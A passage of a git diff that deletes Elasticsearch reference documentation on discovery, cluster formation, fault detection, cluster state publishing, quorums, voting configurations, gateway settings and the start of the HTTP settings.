-this list is empty, meaning that this node expects to join a cluster that has
-already been bootstrapped. See <<initial_master_nodes>>.
-
-[discrete]
-==== Expert settings
-
-Discovery and cluster formation are also affected by the following
-_expert-level_ settings, although it is not recommended to change any of these
-from their default values.
-
-WARNING: If you adjust these settings then your cluster may not form correctly
-or may become unstable or intolerant of certain failures.
-
-`discovery.cluster_formation_warning_timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long a node will try to form a cluster before logging a warning that
-the cluster did not form. Defaults to `10s`. If a cluster has not formed after
-`discovery.cluster_formation_warning_timeout` has elapsed then the node will log
-a warning message that starts with the phrase `master not discovered` which
-describes the current state of the discovery process.
-
-`discovery.find_peers_interval`::
-(<<static-cluster-setting,Static>>)
-Sets how long a node will wait before attempting another discovery round.
-Defaults to `1s`.
-
-`discovery.probe.connect_timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long to wait when attempting to connect to each address. Defaults to
-`3s`.
-
-`discovery.probe.handshake_timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long to wait when attempting to identify the remote node via a
-handshake. Defaults to `1s`.
-
-`discovery.request_peers_timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long a node will wait after asking its peers again before considering
-the request to have failed. Defaults to `3s`.
-
-`discovery.seed_resolver.max_concurrent_resolvers`::
-(<<static-cluster-setting,Static>>)
-Specifies how many concurrent DNS lookups to perform when resolving the
-addresses of seed nodes. Defaults to `10`. This setting was previously
-known as `discovery.zen.ping.unicast.concurrent_connects`. Its old name is
-deprecated but continues to work in order to preserve backwards
-compatibility. Support for the old name will be removed in a future
-version.
-
-`discovery.seed_resolver.timeout`::
-(<<static-cluster-setting,Static>>)
-Specifies how long to wait for each DNS lookup performed when resolving the
-addresses of seed nodes. Defaults to `5s`. This setting was previously
-known as `discovery.zen.ping.unicast.hosts.resolve_timeout`. Its old name
-is deprecated but continues to work in order to preserve backwards
-compatibility. Support for the old name will be removed in a future
-version.
-
-`cluster.auto_shrink_voting_configuration`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Controls whether the <<modules-discovery-voting,voting configuration>> sheds
-departed nodes automatically, as long as it still contains at least 3 nodes. The
-default value is `true`. If set to `false`, the voting configuration never
-shrinks automatically and you must remove departed nodes manually with the
-<<voting-config-exclusions,voting configuration exclusions API>>.
-
-[[master-election-settings]]`cluster.election.back_off_time`::
-(<<static-cluster-setting,Static>>)
-Sets the amount to increase the upper bound on the wait before an election on
-each election failure. Note that this is _linear_ backoff. This defaults to
-`100ms`. Changing this setting from the default may cause your cluster to fail
-to elect a master node.
-
-`cluster.election.duration`::
-(<<static-cluster-setting,Static>>)
-Sets how long each election is allowed to take before a node considers it to
-have failed and schedules a retry. This defaults to `500ms`.  Changing this
-setting from the default may cause your cluster to fail to elect a master node.
-
-`cluster.election.initial_timeout`::
-(<<static-cluster-setting,Static>>)
-Sets the upper bound on how long a node will wait initially, or after the
-elected master fails, before attempting its first election. This defaults to
-`100ms`. Changing this setting from the default may cause your cluster to fail
-to elect a master node.
-
-`cluster.election.max_timeout`::
-(<<static-cluster-setting,Static>>)
-Sets the maximum upper bound on how long a node will wait before attempting an
-first election, so that an network partition that lasts for a long time does not
-result in excessively sparse elections. This defaults to `10s`. Changing this
-setting from the default may cause your cluster to fail to elect a master node.
-
-[[fault-detection-settings]]`cluster.fault_detection.follower_check.interval`::
-(<<static-cluster-setting,Static>>)
-Sets how long the elected master waits between follower checks to each other
-node in the cluster. Defaults to `1s`. Changing this setting from the default
-may cause your cluster to become unstable.
-
-`cluster.fault_detection.follower_check.timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long the elected master waits for a response to a follower check before
-considering it to have failed. Defaults to `10s`. Changing this setting from the
-default may cause your cluster to become unstable.
-
-`cluster.fault_detection.follower_check.retry_count`::
-(<<static-cluster-setting,Static>>)
-Sets how many consecutive follower check failures must occur to each node before
-the elected master considers that node to be faulty and removes it from the
-cluster. Defaults to `3`. Changing this setting from the default may cause your
-cluster to become unstable.
-
-`cluster.fault_detection.leader_check.interval`::
-(<<static-cluster-setting,Static>>)
-Sets how long each node waits between checks of the elected master. Defaults to
-`1s`. Changing this setting from the default may cause your cluster to become
-unstable.
-
-`cluster.fault_detection.leader_check.timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long each node waits for a response to a leader check from the elected
-master before considering it to have failed. Defaults to `10s`. Changing this
-setting from the default may cause your cluster to become unstable.
-
-`cluster.fault_detection.leader_check.retry_count`::
-(<<static-cluster-setting,Static>>)
-Sets how many consecutive leader check failures must occur before a node
-considers the elected master to be faulty and attempts to find or elect a new
-master. Defaults to `3`. Changing this setting from the default may cause your
-cluster to become unstable.
-
-`cluster.follower_lag.timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long the master node waits to receive acknowledgements for cluster
-state updates from lagging nodes. The default value is `90s`. If a node does not
-successfully apply the cluster state update within this period of time, it is
-considered to have failed and is removed from the cluster. See
-<<cluster-state-publishing>>.
-
-`cluster.join.timeout`::
-(<<static-cluster-setting,Static>>)
-deprecated[7.10, Has no effect in 7.x clusters] Sets how long a node will
-wait after sending a request to join a version 6.8 master before it
-considers the request to have failed and retries. Defaults to `60s`.
-
-`cluster.max_voting_config_exclusions`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Sets a limit on the number of voting configuration exclusions at any one time.
-The default value is `10`. See <<modules-discovery-adding-removing-nodes>>.
-
-`cluster.publish.info_timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long the master node waits for each cluster state update to be
-completely published to all nodes before logging a message indicating that some
-nodes are responding slowly. The default value is `10s`.
-
-`cluster.publish.timeout`::
-(<<static-cluster-setting,Static>>)
-Sets how long the master node waits for each cluster state update to be
-completely published to all nodes, unless `discovery.type` is set to
-`single-node`. The default value is `30s`. See <<cluster-state-publishing>>.
-
-[[no-master-block]]
-`cluster.no_master_block`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Specifies which operations are rejected when there is no active master in a
-cluster. This setting has three valid values:
-+
---
-`all`::: All operations on the node (both read and write operations) are rejected.
-This also applies for API cluster state read or write operations, like the get
-index settings, put mapping and cluster state API.
-
-`write`::: (default) Write operations are rejected. Read operations succeed,
-based on the last known cluster configuration. This situation may result in
-partial reads of stale data as this node may be isolated from the rest of the
-cluster.
-
-`metadata_write`::: Only metadata write operations (e.g. mapping updates,
-routing table changes) are rejected but regular indexing operations continue
-to work. Read and write operations succeed, based on the last known cluster
-configuration. This situation may result in partial reads of stale data as
-this node may be isolated from the rest of the cluster.
-
-[NOTE]
-===============================
-* The `cluster.no_master_block` setting doesn't apply to nodes-based APIs
-(for example, cluster stats, node info, and node stats APIs). Requests to these
-APIs are not be blocked and can run on any available node.
-
-* For the cluster to be fully operational, it must have an active master.
-===============================
-
-WARNING: This setting replaces the `discovery.zen.no_master_block` setting in
-earlier versions. The `discovery.zen.no_master_block` setting is ignored.
-
---
-
-`monitor.fs.health.enabled`::
-(<<dynamic-cluster-setting,Dynamic>>)
-If `true`, the node runs periodic
-<<cluster-fault-detection-filesystem-health,filesystem health checks>>. Defaults
-to `true`.
-
-`monitor.fs.health.refresh_interval`::
-(<<static-cluster-setting,Static>>)
-Interval between successive
-<<cluster-fault-detection-filesystem-health,filesystem health checks>>. Defaults
-to `2m`.
-
-`monitor.fs.health.slow_path_logging_threshold`::
-(<<dynamic-cluster-setting,Dynamic>>)
-If a <<cluster-fault-detection-filesystem-health,filesystem health checks>>
-takes longer than this threshold then {es} logs a warning. Defaults to `5s`.
diff --git a/docs/reference/modules/discovery/discovery.asciidoc b/docs/reference/modules/discovery/discovery.asciidoc
deleted file mode 100644
index 0c5057486de..00000000000
--- a/docs/reference/modules/discovery/discovery.asciidoc
+++ /dev/null
@@ -1,155 +0,0 @@
-[[modules-discovery-hosts-providers]]
-=== Discovery
-
-Discovery is the process by which the cluster formation module finds other
-nodes with which to form a cluster. This process runs when you start an
-Elasticsearch node or when a node believes the master node failed and continues
-until the master node is found or a new master node is elected.
-
-This process starts with a list of _seed_ addresses from one or more
-<<built-in-hosts-providers,seed hosts providers>>, together with the addresses
-of any master-eligible nodes that were in the last-known cluster. The process
-operates in two phases: First, each node probes the seed addresses by
-connecting to each address and attempting to identify the node to which it is
-connected and to verify that it is master-eligible. Secondly, if successful, it
-shares with the remote node a list of all of its known master-eligible peers
-and the remote node responds with _its_ peers in turn. The node then probes all
-the new nodes that it just discovered, requests their peers, and so on.
-
-If the node is not master-eligible then it continues this discovery process
-until it has discovered an elected master node. If no elected master is
-discovered then the node will retry after `discovery.find_peers_interval` which
-defaults to `1s`.
-
-If the node is master-eligible then it continues this discovery process until
-it has either discovered an elected master node or else it has discovered
-enough masterless master-eligible nodes to complete an election. If neither of
-these occur quickly enough then the node will retry after
-`discovery.find_peers_interval` which defaults to `1s`.
-
-[[built-in-hosts-providers]]
-==== Seed hosts providers
-
-By default the cluster formation module offers two seed hosts providers to
-configure the list of seed nodes: a _settings_-based and a _file_-based seed
-hosts provider.  It can be extended to support cloud environments and other
-forms of seed hosts providers via {plugins}/discovery.html[discovery plugins].
-Seed hosts providers are configured using the `discovery.seed_providers`
-setting, which defaults to the _settings_-based hosts provider. This setting
-accepts a list of different providers, allowing you to make use of multiple
-ways to find the seed hosts for your cluster.
-
-Each seed hosts provider yields the IP addresses or hostnames of the seed
-nodes. If it returns any hostnames then these are resolved to IP addresses
-using a DNS lookup. If a hostname resolves to multiple IP addresses then {es}
-tries to find a seed node at all of these addresses. If the hosts provider does
-not explicitly give the TCP port of the node by then, it will implicitly use the
-first port in the port range given by `transport.profiles.default.port`, or by
-`transport.port` if `transport.profiles.default.port` is not set. The number of
-concurrent lookups is controlled by
-`discovery.seed_resolver.max_concurrent_resolvers` which defaults to `10`, and
-the timeout for each lookup is controlled by `discovery.seed_resolver.timeout`
-which defaults to `5s`. Note that DNS lookups are subject to
-<<networkaddress-cache-ttl,JVM DNS caching>>.
-
-[discrete]
-[[settings-based-hosts-provider]]
-===== Settings-based seed hosts provider
-
-The settings-based seed hosts provider uses a node setting to configure a
-static list of the addresses of the seed nodes. These addresses can be given as
-hostnames or IP addresses; hosts specified as hostnames are resolved to IP
-addresses during each round of discovery.
-
-The list of hosts is set using the <<unicast.hosts,`discovery.seed_hosts`>>
-static setting. For example:
-
-[source,yaml]
---------------------------------------------------
-discovery.seed_hosts:
-   - 192.168.1.10:9300
-   - 192.168.1.11 <1>
-   - seeds.mydomain.com <2>
---------------------------------------------------
-<1> The port will default to `transport.profiles.default.port` and fallback to
-    `transport.port` if not specified.
-<2> If a hostname resolves to multiple IP addresses, {es} will attempt to
-    connect to every resolved address.
-
-[discrete]
-[[file-based-hosts-provider]]
-===== File-based seed hosts provider
-
-The file-based seed hosts provider configures a list of hosts via an external
-file.  {es} reloads this file when it changes, so that the list of seed nodes
-can change dynamically without needing to restart each node. For example, this
-gives a convenient mechanism for an {es} instance that is run in a Docker
-container to be dynamically supplied with a list of IP addresses to connect to
-when those IP addresses may not be known at node startup.
-
-To enable file-based discovery, configure the `file` hosts provider as follows
-in the `elasticsearch.yml` file:
-
-[source,yml]
-----------------------------------------------------------------
-discovery.seed_providers: file
-----------------------------------------------------------------
-
-Then create a file at `$ES_PATH_CONF/unicast_hosts.txt` in the format described
-below. Any time a change is made to the `unicast_hosts.txt` file the new
-changes will be picked up by {es} and the new hosts list will be used.
-
-Note that the file-based discovery plugin augments the unicast hosts list in
-`elasticsearch.yml`: if there are valid seed addresses in
-`discovery.seed_hosts` then {es} uses those addresses in addition to those
-supplied in `unicast_hosts.txt`.
-
-The `unicast_hosts.txt` file contains one node entry per line. Each node entry
-consists of the host (host name or IP address) and an optional transport port
-number. If the port number is specified, is must come immediately after the
-host (on the same line) separated by a `:`.  If the port number is not
-specified, {es} will implicitly use the first port in the port range given by
-`transport.profiles.default.port`, or by `transport.port` if
-`transport.profiles.default.port` is not set.
-
-For example, this is an example of `unicast_hosts.txt` for a cluster with four
-nodes that participate in discovery, some of which are not running on the
-default port:
-
-[source,txt]
-----------------------------------------------------------------
-10.10.10.5
-10.10.10.6:9305
-10.10.10.5:10005
-# an IPv6 address
-[2001:0db8:85a3:0000:0000:8a2e:0370:7334]:9301
-----------------------------------------------------------------
-
-Host names are allowed instead of IP addresses and are resolved by DNS as
-described above. IPv6 addresses must be given in brackets with the port, if
-needed, coming after the brackets.
-
-You can also add comments to this file. All comments must appear on their lines
-starting with `#` (i.e. comments cannot start in the middle of a line).
-
-[discrete]
-[[ec2-hosts-provider]]
-===== EC2 hosts provider
-
-The {plugins}/discovery-ec2.html[EC2 discovery plugin] adds a hosts provider
-that uses the https://github.com/aws/aws-sdk-java[AWS API] to find a list of
-seed nodes.
-
-[discrete]
-[[azure-classic-hosts-provider]]
-===== Azure Classic hosts provider
-
-The {plugins}/discovery-azure-classic.html[Azure Classic discovery plugin] adds
-a hosts provider that uses the Azure Classic API find a list of seed nodes.
-
-[discrete]
-[[gce-hosts-provider]]
-===== Google Compute Engine hosts provider
-
-The {plugins}/discovery-gce.html[GCE discovery plugin] adds a hosts provider
-that uses the GCE API find a list of seed nodes.
diff --git a/docs/reference/modules/discovery/fault-detection.asciidoc b/docs/reference/modules/discovery/fault-detection.asciidoc
deleted file mode 100644
index 56b5bc32a75..00000000000
--- a/docs/reference/modules/discovery/fault-detection.asciidoc
+++ /dev/null
@@ -1,27 +0,0 @@
-[[cluster-fault-detection]]
-=== Cluster fault detection
-
-The elected master periodically checks each of the nodes in the cluster to
-ensure that they are still connected and healthy. Each node in the cluster also
-periodically checks the health of the elected master. These checks are known
-respectively as _follower checks_ and _leader checks_.
-
-Elasticsearch allows these checks to occasionally fail or timeout without
-taking any action. It considers a node to be faulty only after a number of
-consecutive checks have failed. You can control fault detection behavior with
-<<modules-discovery-settings,`cluster.fault_detection.*` settings>>.
-
-If the elected master detects that a node has disconnected, however, this
-situation is treated as an immediate failure. The master bypasses the timeout
-and retry setting values and attempts to remove the node from the cluster.
-Similarly, if a node detects that the elected master has disconnected, this
-situation is treated as an immediate failure. The node bypasses the timeout and
-retry settings and restarts its discovery phase to try and find or elect a new
-master.
-
-[[cluster-fault-detection-filesystem-health]]
-Additionally, each node periodically verifies that its data path is healthy by
-writing a small file to disk and then deleting it again. If a node discovers
-its data path is unhealthy then it is removed from the cluster until the data
-path recovers. You can control this behavior with the
-<<modules-discovery-settings,`monitor.fs.health` settings>>.
diff --git a/docs/reference/modules/discovery/publishing.asciidoc b/docs/reference/modules/discovery/publishing.asciidoc
deleted file mode 100644
index 8452f0cd04f..00000000000
--- a/docs/reference/modules/discovery/publishing.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
-[[cluster-state-publishing]]
-=== Publishing the cluster state
-
-The master node is the only node in a cluster that can make changes to the
-cluster state. The master node processes one batch of cluster state updates at
-a time, computing the required changes and publishing the updated cluster state
-to all the other nodes in the cluster. Each publication starts with the master
-broadcasting the updated cluster state to all nodes in the cluster.  Each node
-responds with an acknowledgement but does not yet apply the newly-received
-state. Once the master has collected acknowledgements from enough
-master-eligible nodes, the new cluster state is said to be _committed_ and the
-master broadcasts another message instructing nodes to apply the now-committed
-state. Each node receives this message, applies the updated state, and then
-sends a second acknowledgement back to the master.
-
-The master allows a limited amount of time for each cluster state update to be
-completely published to all nodes. It is defined by the
-`cluster.publish.timeout` setting, which defaults to `30s`, measured from the
-time the publication started. If this time is reached before the new cluster
-state is committed then the cluster state change is rejected and the master
-considers itself to have failed. It stands down and starts trying to elect a
-new master.
-
-If the new cluster state is committed before `cluster.publish.timeout` has
-elapsed, the master node considers the change to have succeeded. It waits until
-the timeout has elapsed or until it has received acknowledgements that each
-node in the cluster has applied the updated state, and then starts processing
-and publishing the next cluster state update. If some acknowledgements have not
-been received (i.e. some nodes have not yet confirmed that they have applied
-the current update), these nodes are said to be _lagging_ since their cluster
-states have fallen behind the master's latest state. The master waits for the
-lagging nodes to catch up for a further time, `cluster.follower_lag.timeout`,
-which defaults to `90s`. If a node has still not successfully applied the
-cluster state update within this time then it is considered to have failed and
-is removed from the cluster.
-
-Cluster state updates are typically published as diffs to the previous cluster
-state, which reduces the time and network bandwidth needed to publish a cluster
-state update. For example, when updating the mappings for only a subset of the
-indices in the cluster state, only the updates for those indices need to be
-published to the nodes in the cluster, as long as those nodes have the previous
-cluster state. If a node is missing the previous cluster state, for example
-when rejoining a cluster, the master will publish the full cluster state to
-that node so that it can receive future updates as diffs.
-
-NOTE: {es} is a peer to peer based system, in which nodes communicate with one
-another directly. The high-throughput APIs (index, delete, search) do not
-normally interact with the master node. The responsibility of the master node
-is to maintain the global cluster state and reassign shards when nodes join or
-leave the cluster. Each time the cluster state is changed, the new state is
-published to all nodes in the cluster as described above.
diff --git a/docs/reference/modules/discovery/quorums.asciidoc b/docs/reference/modules/discovery/quorums.asciidoc
deleted file mode 100644
index 5cf9438544c..00000000000
--- a/docs/reference/modules/discovery/quorums.asciidoc
+++ /dev/null
@@ -1,66 +0,0 @@
-[[modules-discovery-quorums]]
-=== Quorum-based decision making
-
-Electing a master node and changing the cluster state are the two fundamental
-tasks that master-eligible nodes must work together to perform. It is important
-that these activities work robustly even if some nodes have failed.
-Elasticsearch achieves this robustness by considering each action to have
-succeeded on receipt of responses from a _quorum_, which is a subset of the
-master-eligible nodes in the cluster. The advantage of requiring only a subset
-of the nodes to respond is that it means some of the nodes can fail without
-preventing the cluster from making progress. The quorums are carefully chosen so
-the cluster does not have a "split brain" scenario where it's partitioned into
-two pieces such that each piece may make decisions that are inconsistent with
-those of the other piece.
-
-Elasticsearch allows you to add and remove master-eligible nodes to a running
-cluster. In many cases you can do this simply by starting or stopping the nodes
-as required. See <<modules-discovery-adding-removing-nodes>>.
-
-As nodes are added or removed Elasticsearch maintains an optimal level of fault
-tolerance by updating the cluster's <<modules-discovery-voting,voting
-configuration>>, which is the set of master-eligible nodes whose responses are
-counted when making decisions such as electing a new master or committing a new
-cluster state. A decision is made only after more than half of the nodes in the
-voting configuration have responded.  Usually the voting configuration is the
-same as the set of all the master-eligible nodes that are currently in the
-cluster. However, there are some situations in which they may be different.
-
-To be sure that the cluster remains available you **must not stop half or more
-of the nodes in the voting configuration at the same time**. As long as more
-than half of the voting nodes are available the cluster can still work normally.
-This means that if there are three or four master-eligible nodes, the cluster
-can tolerate one of them being unavailable. If there are two or fewer
-master-eligible nodes, they must all remain available.
-
-After a node has joined or left the cluster the elected master must issue a
-cluster-state update that adjusts the voting configuration to match, and this
-can take a short time to complete. It is important to wait for this adjustment
-to complete before removing more nodes from the cluster.
-
-[discrete]
-==== Master elections
-
-Elasticsearch uses an election process to agree on an elected master node, both
-at startup and if the existing elected master fails. Any master-eligible node
-can start an election, and normally the first election that takes place will
-succeed. Elections only usually fail when two nodes both happen to start their
-elections at about the same time, so elections are scheduled randomly on each
-node to reduce the probability of this happening. Nodes will retry elections
-until a master is elected, backing off on failure, so that eventually an
-election will succeed (with arbitrarily high probability). The scheduling of
-master elections are controlled by the <<master-election-settings,master
-election settings>>.
-
-[discrete]
-==== Cluster maintenance, rolling restarts and migrations
-
-Many cluster maintenance tasks involve temporarily shutting down one or more
-nodes and then starting them back up again. By default Elasticsearch can remain
-available if one of its master-eligible nodes is taken offline, such as during a
-<<rolling-upgrades,rolling restart>>. Furthermore, if multiple nodes are stopped
-and then started again then it will automatically recover, such as during a
-<<restart-upgrade,full cluster restart>>. There is no need to take any further
-action with the APIs described here in these cases, because the set of master
-nodes is not changing permanently.
-
diff --git a/docs/reference/modules/discovery/voting.asciidoc b/docs/reference/modules/discovery/voting.asciidoc
deleted file mode 100644
index 8a318591ce0..00000000000
--- a/docs/reference/modules/discovery/voting.asciidoc
+++ /dev/null
@@ -1,139 +0,0 @@
-[[modules-discovery-voting]]
-=== Voting configurations
-
-Each {es} cluster has a _voting configuration_, which is the set of
-<<master-node,master-eligible nodes>> whose responses are counted when making
-decisions such as electing a new master or committing a new cluster state.
-Decisions are made only after a majority (more than half) of the nodes in the
-voting configuration respond.
-
-Usually the voting configuration is the same as the set of all the 
-master-eligible nodes that are currently in the cluster. However, there are some
-situations in which they may be different.
-
-IMPORTANT: To ensure the cluster remains available, you **must not stop half or
-more of the nodes in the voting configuration at the same time**. As long as more
-than half of the voting nodes are available, the cluster can work normally. For
-example, if there are three or four master-eligible nodes, the cluster
-can tolerate one unavailable node. If there are two or fewer master-eligible
-nodes, they must all remain available.
-
-After a node joins or leaves the cluster, {es} reacts by automatically making
-corresponding changes to the voting configuration in order to ensure that the
-cluster is as resilient as possible. It is important to wait for this adjustment
-to complete before you remove more nodes from the cluster. For more information,
-see <<modules-discovery-adding-removing-nodes>>.
-
-The current voting configuration is stored in the cluster state so you can
-inspect its current contents as follows:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/state?filter_path=metadata.cluster_coordination.last_committed_config
---------------------------------------------------
-
-NOTE: The current voting configuration is not necessarily the same as the set of
-all available master-eligible nodes in the cluster. Altering the voting
-configuration involves taking a vote, so it takes some time to adjust the
-configuration as nodes join or leave the cluster. Also, there are situations
-where the most resilient configuration includes unavailable nodes or does not
-include some available nodes. In these situations, the voting configuration
-differs from the set of available master-eligible nodes in the cluster.
-
-Larger voting configurations are usually more resilient, so Elasticsearch
-normally prefers to add master-eligible nodes to the voting configuration after
-they join the cluster. Similarly, if a node in the voting configuration
-leaves the cluster and there is another master-eligible node in the cluster that
-is not in the voting configuration then it is preferable to swap these two nodes
-over. The size of the voting configuration is thus unchanged but its
-resilience increases.
-
-It is not so straightforward to automatically remove nodes from the voting
-configuration after they have left the cluster. Different strategies have
-different benefits and drawbacks, so the right choice depends on how the cluster
-will be used. You can control whether the voting configuration automatically
-shrinks by using the
-<<modules-discovery-settings,`cluster.auto_shrink_voting_configuration` setting>>.
-
-NOTE: If `cluster.auto_shrink_voting_configuration` is set to `true` (which is
-the default and recommended value) and there are at least three master-eligible
-nodes in the cluster, Elasticsearch remains capable of processing cluster state
-updates as long as all but one of its master-eligible nodes are healthy.
-
-There are situations in which Elasticsearch might tolerate the loss of multiple
-nodes, but this is not guaranteed under all sequences of failures. If the
-`cluster.auto_shrink_voting_configuration` setting is `false`, you must remove
-departed nodes from the voting configuration manually. Use the
-<<voting-config-exclusions,voting exclusions API>> to achieve the desired level
-of resilience.
-
-No matter how it is configured, Elasticsearch will not suffer from a 
-"split-brain" inconsistency. The `cluster.auto_shrink_voting_configuration`
-setting affects only its availability in the event of the failure of some of its
-nodes and the administrative tasks that must be performed as nodes join and
-leave the cluster.
-
-[discrete]
-==== Even numbers of master-eligible nodes
-
-There should normally be an odd number of master-eligible nodes in a cluster.
-If there is an even number, Elasticsearch leaves one of them out of the voting
-configuration to ensure that it has an odd size. This omission does not decrease
-the failure-tolerance of the cluster. In fact, improves it slightly: if the
-cluster suffers from a network partition that divides it into two equally-sized
-halves then one of the halves will contain a majority of the voting
-configuration and will be able to keep operating. If all of the votes from
-master-eligible nodes were counted, neither side would contain a strict majority
-of the nodes and so the cluster would not be able to make any progress.
-
-For instance if there are four master-eligible nodes in the cluster and the
-voting configuration contained all of them, any quorum-based decision would
-require votes from at least three of them. This situation means that the cluster
-can tolerate the loss of only a single master-eligible node. If this cluster
-were split into two equal halves, neither half would contain three
-master-eligible nodes and the cluster would not be able to make any progress.
-If the voting configuration contains only three of the four master-eligible
-nodes, however, the cluster is still only fully tolerant to the loss of one
-node, but quorum-based decisions require votes from two of the three voting
-nodes. In the event of an even split, one half will contain two of the three
-voting nodes so that half will remain available.
-
-[discrete]
-==== Setting the initial voting configuration
-
-When a brand-new cluster starts up for the first time, it must elect its first
-master node. To do this election, it needs to know the set of master-eligible
-nodes whose votes should count. This initial voting configuration is known as
-the _bootstrap configuration_ and is set in the
-<<modules-discovery-bootstrap-cluster,cluster bootstrapping process>>.
-
-It is important that the bootstrap configuration identifies exactly which nodes
-should vote in the first election. It is not sufficient to configure each node
-with an expectation of how many nodes there should be in the cluster. It is also
-important to note that the bootstrap configuration must come from outside the
-cluster: there is no safe way for the cluster to determine the bootstrap
-configuration correctly on its own.
-
-If the bootstrap configuration is not set correctly, when you start a brand-new
-cluster there is a risk that you will accidentally form two separate clusters
-instead of one. This situation can lead to data loss: you might start using both
-clusters before you notice that anything has gone wrong and it is impossible to
-merge them together later.
-
-NOTE: To illustrate the problem with configuring each node to expect a certain
-cluster size, imagine starting up a three-node cluster in which each node knows
-that it is going to be part of a three-node cluster. A majority of three nodes
-is two, so normally the first two nodes to discover each other form a cluster
-and the third node joins them a short time later. However, imagine that four
-nodes were erroneously started instead of three. In this case, there are enough
-nodes to form two separate clusters. Of course if each node is started manually
-then it's unlikely that too many nodes are started. If you're using an automated
-orchestrator, however, it's certainly possible to get into this situation--
-particularly if the orchestrator is not resilient to failures such as network
-partitions.
-
-The initial quorum is only required the very first time a whole cluster starts
-up. New nodes joining an established cluster can safely obtain all the
-information they need from the elected master. Nodes that have previously been
-part of a cluster will have stored to disk all the information that is required
-when they restart.
diff --git a/docs/reference/modules/gateway.asciidoc b/docs/reference/modules/gateway.asciidoc
deleted file mode 100644
index 0558243f22c..00000000000
--- a/docs/reference/modules/gateway.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[[modules-gateway]]
-=== Local gateway settings
-
-The local gateway stores the cluster state and shard data across full
-cluster restarts.
-
-The following _static_ settings, which must be set on every master node,
-control how long a freshly elected master should wait before it tries to
-recover the cluster state and the cluster's data.
-
-NOTE: These settings only take effect on a full cluster restart.
-
-`gateway.expected_nodes`::
-(<<static-cluster-setting,Static>>)
-deprecated:[7.7.0, This setting will be removed in 8.0. Use `gateway.expected_data_nodes` instead.]
-Number of data or master nodes expected in the cluster.
-Recovery of local shards begins when the expected number of
-nodes join the cluster. Defaults to `0`.
-
-`gateway.expected_master_nodes`::
-(<<static-cluster-setting,Static>>)
-deprecated:[7.7.0, This setting will be removed in 8.0. Use `gateway.expected_data_nodes` instead.]
-Number of master nodes expected in the cluster.
-Recovery of local shards begins when the expected number of
-master nodes join the cluster. Defaults to `0`.
-
-`gateway.expected_data_nodes`::
-(<<static-cluster-setting,Static>>)
-Number of data nodes expected in the cluster.
-Recovery of local shards begins when the expected number of
-data nodes join the cluster. Defaults to `0`.
-
-`gateway.recover_after_time`::
-(<<static-cluster-setting,Static>>)
-If the expected number of nodes is not achieved, the recovery process waits
-for the configured amount of time before trying to recover.
-Defaults to `5m` if one of the `expected_nodes` settings is configured.
-+
-Once the `recover_after_time` duration has timed out, recovery will start
-as long as the following conditions are met:
-
-`gateway.recover_after_nodes`::
-(<<static-cluster-setting,Static>>)
-deprecated:[7.7.0, This setting will be removed in 8.0. Use `gateway.recover_after_data_nodes` instead.]
-Recover as long as this many data or master nodes have joined the cluster.
-
-`gateway.recover_after_master_nodes`::
-(<<static-cluster-setting,Static>>)
-deprecated:[7.7.0, This setting will be removed in 8.0. Use `gateway.recover_after_data_nodes` instead.]
-Recover as long as this many master nodes have joined the cluster.
-
-`gateway.recover_after_data_nodes`::
-(<<static-cluster-setting,Static>>)
-Recover as long as this many data nodes have joined the cluster.
-
-[[dangling-indices]]
-==== Dangling indices
-
-When a node joins the cluster, if it finds any shards stored in its local data
-directory that do not already exist in the cluster, it will consider those
-shards to be "dangling". Importing dangling indices
-into the cluster using `gateway.auto_import_dangling_indices` is not safe.
-Instead, use the <<dangling-indices-api,Dangling indices API>>. Neither
-mechanism provides any guarantees as to whether the imported data truly
-represents the latest state of the data when the index was still part of
-the cluster.
-
-`gateway.auto_import_dangling_indices`::
-
-    deprecated:[7.9.0, This setting will be removed in 8.0. You should use the dedicated dangling indices API instead.]
-    Whether to automatically import dangling indices into the cluster
-    state, provided no indices already exist with the same name. Defaults
-    to `false`.
-
-WARNING: The auto-import functionality was intended as a best effort to help users
-who lose all master nodes. For example, if a new master node were to be
-started which was unaware of the other indices in the cluster, adding the
-old nodes would cause the old indices to be imported, instead of being
-deleted. However there are several issues with automatic importing, and
-its use is strongly discouraged in favour of the
-<<dangling-indices-api,dedicated API>.
-
-WARNING: Losing all master nodes is a situation that should be avoided at
-all costs, as it puts your cluster's metadata and data at risk.
diff --git a/docs/reference/modules/http.asciidoc b/docs/reference/modules/http.asciidoc
deleted file mode 100644
index b0b88f65402..00000000000
--- a/docs/reference/modules/http.asciidoc
+++ /dev/null
@@ -1,217 +0,0 @@
-[[modules-http]]
-=== HTTP
-[[modules-http-description]]
-// tag::modules-http-description-tag[]
-The HTTP layer exposes {es}'s REST APIs over HTTP. Clients send HTTP requests
-to a node in the cluster which either handles it locally or else passes it on
-to other nodes for further processing using the <<modules-transport,Transport
-layer>>.
-
-When possible, consider using {wikipedia}/Keepalive#HTTP_Keepalive[HTTP keep
-alive] when connecting for better performance and try to get your favorite
-client not to do {wikipedia}/Chunked_transfer_encoding[HTTP chunking].
-// end::modules-http-description-tag[]
-
-[http-settings]
-==== HTTP settings
-
-The following settings can be configured for HTTP. These settings also use the common <<modules-network,network settings>>.
-
-`http.port`::
-(<<static-cluster-setting,Static>>)
-A bind port range. Defaults to `9200-9300`.
-
-`http.publish_port`::
-(<<static-cluster-setting,Static>>)
-The port that HTTP clients should use when
-communicating with this node. Useful when a cluster node is behind a
-proxy or firewall and the `http.port` is not directly addressable
-from the outside. Defaults to the actual port assigned via `http.port`.
-
-`http.bind_host`::
-(<<static-cluster-setting,Static>>)
-The host address to bind the HTTP service to. Defaults to `http.host` (if set) or `network.bind_host`.
-
-`http.publish_host`::
-(<<static-cluster-setting,Static>>)
-The host address to publish for HTTP clients to connect to. Defaults to `http.host` (if set) or `network.publish_host`.
-
-`http.host`::
-(<<static-cluster-setting,Static>>)
-Used to set the `http.bind_host` and the `http.publish_host`.
-
-`http.max_content_length`::
-(<<static-cluster-setting,Static>>)
